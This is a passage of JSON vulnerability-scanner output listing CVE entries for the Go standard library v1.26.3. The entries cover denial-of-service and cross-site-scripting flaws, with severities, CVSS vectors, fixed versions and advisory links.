"redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:38878", "https://access.redhat.com/security/cve/CVE-2026-39822", "https://bugzilla.redhat.com/2498152", "https://bugzilla.redhat.com/show_bug.cgi?id=2498152", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39822", "https://errata.almalinux.org/9/ALSA-2026-38878.html", "https://errata.rockylinux.org/RLSA-2026:38878", "https://github.com/golang/go/issues/79005", "https://go.dev/cl/797880", "https://go.dev/issue/79005", "https://groups.google.com/g/golang-announce/c/OrmQE_Yp5Sc", "https://linux.oracle.com/cve/CVE-2026-39822.html", "https://linux.oracle.com/errata/ELSA-2026-38995.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39822", "https://pkg.go.dev/vuln/GO-2026-4970", "https://www.cve.org/CVERecord?id=CVE-2026-39822" ], "PublishedDate": "2026-07-08T17:17:21.31Z", "LastModifiedDate": "2026-10-25T17:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-42504", "VendorIDs": [ "GO-2026-5038" ], "PkgID": "stdlib@v1.26.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.3", "UID": "8da4595ba8e1b0f0" }, "InstalledVersion": "v1.26.3", "FixedVersion": "1.25.11, 1.26.4", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42504", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:d80f3dc640e0fcda6e10a9b7ae81cbeac56121a4a9eaac68133f374affdcafa6", "Title": "mime: golang: Golang MIME: Denial of Service via maliciously-crafted MIME header", "Description": "Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:65153", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/security/cve/CVE-2026-42504", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2467820", "https://bugzilla.redhat.com/2480756", "https://bugzilla.redhat.com/2484204", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-65153.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/774481", "https://go.dev/issue/79217", "https://groups.google.com/g/golang-announce/c/tKs3rmcBcKw", "https://linux.oracle.com/cve/CVE-2026-42504.html", "https://linux.oracle.com/errata/ELSA-2026-69308.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-42504", "https://pkg.go.dev/vuln/GO-2026-5038", "https://www.cve.org/CVERecord?id=CVE-2026-42504" ], "PublishedDate": "2026-06-02T23:16:37.927Z", "LastModifiedDate": "2026-07-22T19:10:00.12Z" }, { "VulnerabilityID": "CVE-2026-46600", "VendorIDs": [ "GO-2026-5942" ], "PkgID": "stdlib@v1.26.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.3", "UID": "8da4595ba8e1b0f0" }, "InstalledVersion": "v1.26.3", "FixedVersion": "1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46600", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:a97d324be3ffce6c8fe32f35910c424b6912682a4997d6fadf0dafc922be1953", "Title": "golang.org/x/net/dns/dnsmessage: golang.org/x/net/dns/dnsmessage: Denial of Service via invalid DNS record parsing", "Description": "Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "bitnami": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46600", "https://go.dev/cl/786345", "https://go.dev/issue/79795", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://nvd.nist.gov/vuln/detail/CVE-2026-46600", "https://pkg.go.dev/vuln/GO-2026-5942", "https://www.cve.org/CVERecord?id=CVE-2026-46600" ], "PublishedDate": "2026-07-21T20:17:01.213Z", "LastModifiedDate": "2026-10-24T19:10:00.127Z" }, { "VulnerabilityID": "CVE-2026-56853", "VendorIDs": [ "GO-2026-6089" ], "PkgID": "stdlib@v1.26.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.3", "UID": "8da4595ba8e1b0f0" }, "InstalledVersion": "v1.26.3", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56853", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:3b15cc17e32823040a14ae39e03b89ecdd0993bef1c600376eb2614b5a7700b1", "Title": "net/http: golang: Go net/http: Unencrypted HTTP/2 connections vulnerable to Denial of Service", "Description": "When a server is configured to support unencrypted HTTP/2, it reads a few bytes from each new connection to see if they contain the HTTP/2 client preface. ReadHeaderTimeout is unexpectedly not being applied when doing this.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-56853", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://go.dev/cl/795540", "https://go.dev/issue/80205", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56853.html", "https://linux.oracle.com/errata/ELSA-2026-89752.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56853", "https://pkg.go.dev/vuln/GO-2026-6089", "https://www.cve.org/CVERecord?id=CVE-2026-56853" ], "PublishedDate": "2026-08-13T22:17:22.093Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-56858", "VendorIDs": [ "GO-2026-6091" ], "PkgID": "stdlib@v1.26.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.3", "UID": "8da4595ba8e1b0f0" }, "InstalledVersion": "v1.26.3", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56858", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:53aa6169a1c7cd25d83301c602381c31266caf60a12f4cadf4d53d7354c6f2fe", "Title": "html/template: golang: Go html/template: Cross-Site Scripting via pathological input", "Description": "Previously, pathological inputs could close an unescaped '/' early, allowing for attack-controlled data to inject arbitrary content, potentially leading to XSS.", "Severity": "HIGH", "CweIDs": [ "CWE-79" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 2, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "V3Score": 6.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-56858", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://go.dev/cl/807100", "https://go.dev/issue/80435", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56858.html", "https://linux.oracle.com/errata/ELSA-2026-70641.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56858", "https://pkg.go.dev/vuln/GO-2026-6091", "https://www.cve.org/CVERecord?id=CVE-2026-56858" ], "PublishedDate": "2026-08-13T22:17:22.207Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-56859", "VendorIDs": [ "GO-2026-6088" ], "PkgID": "stdlib@v1.26.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.3", "UID": "8da4595ba8e1b0f0" }, "InstalledVersion": "v1.26.3", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56859", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:b12c33eb0dbb6acdb3fe0d652a9234f21aad0c60c6f6a99d44ab7b9b8e569ae0", "Title": "encoding/xml: golang: Go: Denial of Service via XML decoding recursion depth issue", "Description": "Previously, DecodeElement would reset the depth counter causing it to never fire; this could lead to stack exhaustion.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69961", "https://access.redhat.com/security/cve/CVE-2026-56859", "https://bugzilla.redhat.com/2480684", "https://bugzilla.redhat.com/2508234", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2480684", "https://bugzilla.redhat.com/show_bug.cgi?id=2508234", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2518147", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-17106", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19730", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39830", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-69961.html", "https://errata.rockylinux.org/RLSA-2026:69961", "https://github.com/golang/go/issues/80481", "https://go.dev/cl/803320", "https://go.dev/issue/80481", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56859.html", "https://linux.oracle.com/errata/ELSA-2026-70201.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56859", "https://pkg.go.dev/vuln/GO-2026-6088", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-56859" ], "PublishedDate": "2026-08-13T22:17:22.32Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-56860", "VendorIDs": [ "GO-2026-6218" ], "PkgID": "stdlib@v1.26.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.3", "UID": "8da4595ba8e1b0f0" }, "InstalledVersion": "v1.26.3", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56860", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:a93527b465dc139576cd22cc87bfcb2c7fabf08c3bb485c173e69d1e760ef794", "Title": "net/url: golang: golang net/url: Denial of Service from quadratic complexity in path resolution", "Description": "Previously, resolving relative paths containing parent directory ('..') segments performed string conversions and buffer rewrites on each step, resulting in quadratic time complexity and high memory allocation overhead. Now, path resolution operates on a byte buffer using index-based backtracking for '..' segments, eliminating the quadratic time complexity and significantly reducing memory allocations.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 2, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-56860", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://go.dev/cl/803681", "https://go.dev/issue/80494", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56860.html", "https://linux.oracle.com/errata/ELSA-2026-71619.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56860", "https://pkg.go.dev/vuln/GO-2026-6218", "https://www.cve.org/CVERecord?id=CVE-2026-56860" ], "PublishedDate": "2026-08-13T22:17:22.44Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-56862", "VendorIDs": [ "GO-2026-6090" ], "PkgID": "stdlib@v1.26.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.3", "UID": "8da4595ba8e1b0f0" }, "InstalledVersion": "v1.26.3", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56862", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:4055392abe0f5a9711e7a1202c545ff059c1ef73e408ef7922b2b829c06e0f67", "Title": "crypto/tls: golang: Golang crypto/tls: Denial of Service via indefinite KeyUpdate messages", "Description": "Handshake messages, such as KeyUpdate, are always considered as state-advancing, regardless of whether a handshake has been completed or not. As a result, a malicious client can keep sending KeyUpdate messages to force the server to keep performing key derivation operations indefinitely.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-56862", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://github.com/golang/go/issues/80528", "https://go.dev/cl/804261", "https://go.dev/issue/80528", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56862.html", "https://linux.oracle.com/errata/ELSA-2026-70641.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56862", "https://pkg.go.dev/vuln/GO-2026-6090", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-56862" ], "PublishedDate": "2026-08-13T22:17:22.55Z", "LastModifiedDate": "2026-10-24T16:10:00.153Z" }, { "VulnerabilityID": "CVE-2026-78667", "VendorIDs": [ "GO-2026-6609" ], "PkgID": "stdlib@v1.26.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.3", "UID": "8da4595ba8e1b0f0" }, "InstalledVersion": "v1.26.3", "FixedVersion": "1.26.9, 1.27.2", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78667", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:4a6af3d92aa2aa03e6bd230799ec7f139329d0f220a71070caf36f1a7ba90638", "Title": "net/http: golang: golang: Denial of Service via crafted HTTP Range headers", "Description": "When parsing a Range header containing a large number of small ranges, FileServer(FS), ServeContent, and ServeFile(FS) can consume an excessive amount of CPU.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93617", "https://access.redhat.com/security/cve/CVE-2026-78667", "https://bugzilla.redhat.com/2548334", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2548341", "https://bugzilla.redhat.com/2548344", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548334", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2548341", "https://bugzilla.redhat.com/show_bug.cgi?id=2548344", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94440", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-93617.html", "https://errata.rockylinux.org/RLSA-2026:93617", "https://github.com/golang/go/issues/81858", "https://go.dev/cl/847309", "https://go.dev/issue/81858", "https://groups.google.com/g/golang-announce/c/U2fTuyDJznI", "https://linux.oracle.com/cve/CVE-2026-78667.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78667", "https://pkg.go.dev/vuln/GO-2026-6609", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-78667", "https://www.openwall.com/lists/oss-security/2026/10/08/9" ], "PublishedDate": "2026-10-08T23:17:03.88Z", "LastModifiedDate": "2026-10-09T17:16:49.69Z" }, { "VulnerabilityID": "CVE-2026-78669", "VendorIDs": [ "GO-2026-6611" ], "PkgID": "stdlib@v1.26.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.3", "UID": "8da4595ba8e1b0f0" }, "InstalledVersion": "v1.26.3", "FixedVersion": "1.26.9, 1.27.2", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78669", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:362b893b168ab9a6a7eba3a6e29049edd677be167ce764e1aaeedd18bc281f34", "Title": "net/http: net/http/internal/http2: golang.org/x/net/http2: net/http: Denial of Service via excessive HTTP/2 SETTINGS frames", "Description": "A malicious HTTP/2 peer can cause excessive CPU consumption in the client or server by opening a large number of streams and then sending many small SETTINGS frames containing SETTINGS_INITIAL_WINDOW_SIZE values.", "Severity": "HIGH", "CweIDs": [ "CWE-405" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93617", "https://access.redhat.com/security/cve/CVE-2026-78669", "https://bugzilla.redhat.com/2548334", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2548341", "https://bugzilla.redhat.com/2548344", 